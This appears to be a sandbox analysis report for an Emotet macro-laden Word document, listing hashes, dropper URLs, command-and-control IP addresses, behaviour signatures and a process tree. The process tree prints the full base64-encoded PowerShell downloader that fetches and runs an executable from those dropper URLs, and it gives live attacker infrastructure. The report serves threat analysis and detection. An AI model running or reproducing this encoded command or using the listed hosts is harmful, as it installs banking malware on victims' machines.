Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

1

Analysis

  • max time kernel
    61s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    19/08/2020, 00:09

Sharing

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General

  • Target
    emotet_e2_c9e3bae619815b4352cde026f60fe901e2a475cbbba8fbeffff1c302bd69f024_2020-08-19__000733._doc.doc
  • Size 173KB
  • Sample200819-b92l13tmf6
  • SHA256 c9e3bae619815b4352cde026f60fe901e2a475cbbba8fbeffff1c302bd69f024
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://sathobby.com/wp-admin/LJin/
  • exe.dropper

    http://mandatory7hrsvideochatwithourkids.com/wp-admin/NAhXS/
  • exe.dropper

    http://playschoolmatritva.com/cgi-bin/Y/
  • exe.dropper

    http://orthowise.us/vendor/4Fy928/
  • exe.dropper

    http://helpmepayless.com/wp-includes/pcfQhqb/
  • exe.dropper

    http://www.mgcae.com/fonts/KNnEVB/
  • exe.dropper

    http://potosyter.com/wp-admin/EE/

Extracted

Family

  • emotet

C2

  • 64.183.73.122:80

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 222.214.218.37:4143

  • 104.236.246.93:8080

  • 110.145.77.103:80

  • 89.186.91.200:443

  • 74.120.55.163:80

  • 95.179.229.244:8080

  • 70.167.215.250:8080

  • 47.146.117.214:80

  • 209.141.54.221:8080

  • 24.43.99.75:80

  • 103.86.49.11:8080

  • 142.105.151.124:443

  • 62.138.26.28:8080

  • 24.179.13.119:80

  • 37.187.72.193:8080

  • 137.59.187.107:8080

  • 97.82.79.83:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_c9e3bae619815b4352cde026f60fe901e2a475cbbba8fbeffff1c302bd69f024_2020-08-19__000733._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:616
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABXAHQAagBwADcAegBmAD0AKAAnAEkANQAnACsAJwBzAG8AJwArACcAcwBoAGQAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpACcAKwAnAHQAZQBtACcAKQAgACQAZQBOAFYAOgB0AEUATQBQAFwAbwBGAEYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGAAYwB1AHIASQB0AHkAUABgAFIAYABPAHQATwBDAE8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIAJwArACcALAAgAHQAbABzADEAMQAsACcAKwAnACAAJwArACcAdABsAHMAJwApADsAJABKAG0AOQBxAG4AcwB0ACAAPQAgACgAJwBLACcAKwAnAGsAMwBuADcAMwAnACkAOwAkAFcAcABhADcAbAAzAGUAPQAoACcARQB5ADcAMgAnACsAJwB4ACcAKwAnAGsAaAAnACkAOwAkAEEAYgBfAGYAZAB1AGwAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGUASABVAE8AJwArACcAZgBmAGkAYwBlADIAJwArACcAMAAxADkAJwArACcAZQBIACcAKwAnAFUAJwApAC4AIgByAGAAZQBwAEwAYABBAGMAZQAiACgAKABbAEMAaABhAFIAXQAxADAAMQArAFsAQwBoAGEAUgBdADcAMgArAFsAQwBoAGEAUgBdADgANQApACwAJwBcACcAKQApACsAJABKAG0AOQBxAG4AcwB0ACsAKAAnAC4AJwArACcAZQB4AGUAJwApADsAJABJADgAawA1AGoAYwA4AD0AKAAnAEQAJwArACcAaQA2AGMAYwAxACcAKwAnAGcAJwApADsAJABRAGEAZgAzAG8ANwA5AD0ALgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABOAEUAVAAuAFcARQBiAEMATABpAEUATgBUADsAJABLADIAOQBpAHgAMQB2AD0AKAAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AcwAnACsAJwBhAHQAaABvAGIAYgAnACsAJwB5AC4AYwBvAG0AJwArACcALwB3AHAALQBhAGQAbQAnACsAJwBpAG4ALwBMAEoAaQBuAC8AJwArACcAKgBoACcAKwAnAHQAdABwADoAJwArACcALwAvAG0AYQBuAGQAYQB0AG8AcgB5ACcAKwAnADcAaAByAHMAdgBpAGQAZQBvACcAKwAnAGMAaAAnACsAJwBhACcAKwAnAHQAdwBpAHQAaABvAHUAcgBrAGkAZABzAC4AJwArACcAYwAnACsAJwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBOACcAKwAnAEEAaABYAFMAJwArACcALwAqAGgAdAB0AHAAOgAvAC8AcAAnACsAJwBsAGEAeQAnACsAJwBzAGMAaABvAG8AbABtAGEAdAByACcAKwAnAGkAdAAnACsAJwB2AGEALgBjAG8AbQAvAGMAZwBpACcAKwAnAC0AYgBpAG4ALwBZAC8AKgBoAHQAdABwADoALwAvAG8AcgB0AGgAbwB3AGkAcwBlACcAKwAnAC4AdQBzAC8AdgBlAG4AZAAnACsAJwBvAHIALwA0AEYAeQA5ADIAOAAnACsAJwAvACoAaAB0ACcAKwAnAHQAcAA6AC8AJwArACcALwBoAGUAbABwAG0AZQBwAGEAeQBsAGUAJwArACcAcwBzAC4AJwArACcAYwBvAG0AJwArACcALwB3AHAALQBpAG4AYwAnACsAJwBsAHUAZABlACcAKwAnAHMALwBwACcAKwAnAGMAZgBRACcAKwAnAGgAcQBiAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBnAGMAYQBlAC4AYwBvAG0AJwArACcALwAnACsAJwBmAG8AbgB0ACcAKwAnAHMALwAnACsAJwBLACcAKwAnAE4AbgBFAFYAQgAnACsAJwAvACoAaAB0AHQAcAA6AC8ALwBwAG8AdABvAHMAeQAnACsAJwB0AGUAcgAuAGMAbwBtAC8AJwArACcAdwBwACcAKwAnAC0AYQBkAG0AJwArACcAaQBuAC8ARQBFAC8AJwApAC4AIgBzAHAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMANQBvAF8ANwA1ADUAPQAoACcARgAnACsAJwAwACcAKwAnAGwAMQB4AHIAcgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABSAGgAawB3AGYAdQB4ACAAaQBuACAAJABLADIAOQBpAHgAMQB2ACkAewB0AHIAeQB7ACQAUQBhAGYAMwBvADcAOQAuACIAZABgAE8AdwBuAEwAbwBgAEEAZABgAEYASQBMAEUAIgAoACQAUgBoAGsAdwBmAHUAeAAsACAAJABBAGIAXwBmAGQAdQBsACkAOwAkAEUAbQBwAHEAdgAwAHAAPQAoACcATgB4ADEAYwA5ACcAKwAnAGMAJwArACcAMwAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAQQBiAF8AZgBkAHUAbAApAC4AIgBMAEUAbgBgAGcAdABIACIAIAAtAGcAZQAgADIAOAA4ADQAOAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABBAGIAXwBmAGQAdQBsACkAOwAkAEkAeAA0ADcAaQBkAHMAPQAoACcASgB3AGsAMwBoACcAKwAnADMAegAnACkAOwBiAHIAZQBhAGsAOwAkAEEAOAAyAGsAMQA5AGYAPQAoACcAUQByAGkAZAAzAF8AJwArACcAZgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFcAaQBrADUAeQA5ADAAPQAoACcAWAAnACsAJwBvACcAKwAnAGkAbQBmAGEAbAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Kk3n73.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Kk3n73.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1788
      • C:\Windows\SysWOW64\mssha\dxmasf.exe
        "C:\Windows\SysWOW64\mssha\dxmasf.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1624

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/616-3-0x0000000006C40000-0x0000000006E40000-memory.dmp
        Download

        memory/616-4-0x0000000006C40000-0x0000000006E40000-memory.dmp
        Download

        memory/616-6-0x00000000024D0000-0x00000000024D4000-memory.dmp
        Download

        memory/616-7-0x0000000002550000-0x0000000002554000-memory.dmp
        Download

        memory/616-2-0x00000000087E0000-0x00000000087E4000-memory.dmp
        Download

        memory/1520-9-0x000007FEF2950000-0x000007FEF333C000-memory.dmp
        Download

        memory/1520-13-0x0000000001FF0000-0x0000000001FF1000-memory.dmp
        Download

        memory/1520-14-0x000000001B4E0000-0x000000001B4E1000-memory.dmp
        Download

        memory/1520-15-0x000000001C470000-0x000000001C471000-memory.dmp
        Download

        memory/1520-12-0x0000000002540000-0x0000000002541000-memory.dmp
        Download

        memory/1520-11-0x000000001AC30000-0x000000001AC31000-memory.dmp
        Download

        memory/1520-10-0x0000000001EB0000-0x0000000001EB1000-memory.dmp
        Download

        memory/1544-23-0x000007FEF3070000-0x000007FEF32EA000-memory.dmp
        Download

        memory/1624-22-0x0000000000360000-0x000000000036C000-memory.dmp
        Download

        memory/1788-18-0x0000000000200000-0x000000000020C000-memory.dmp
        Download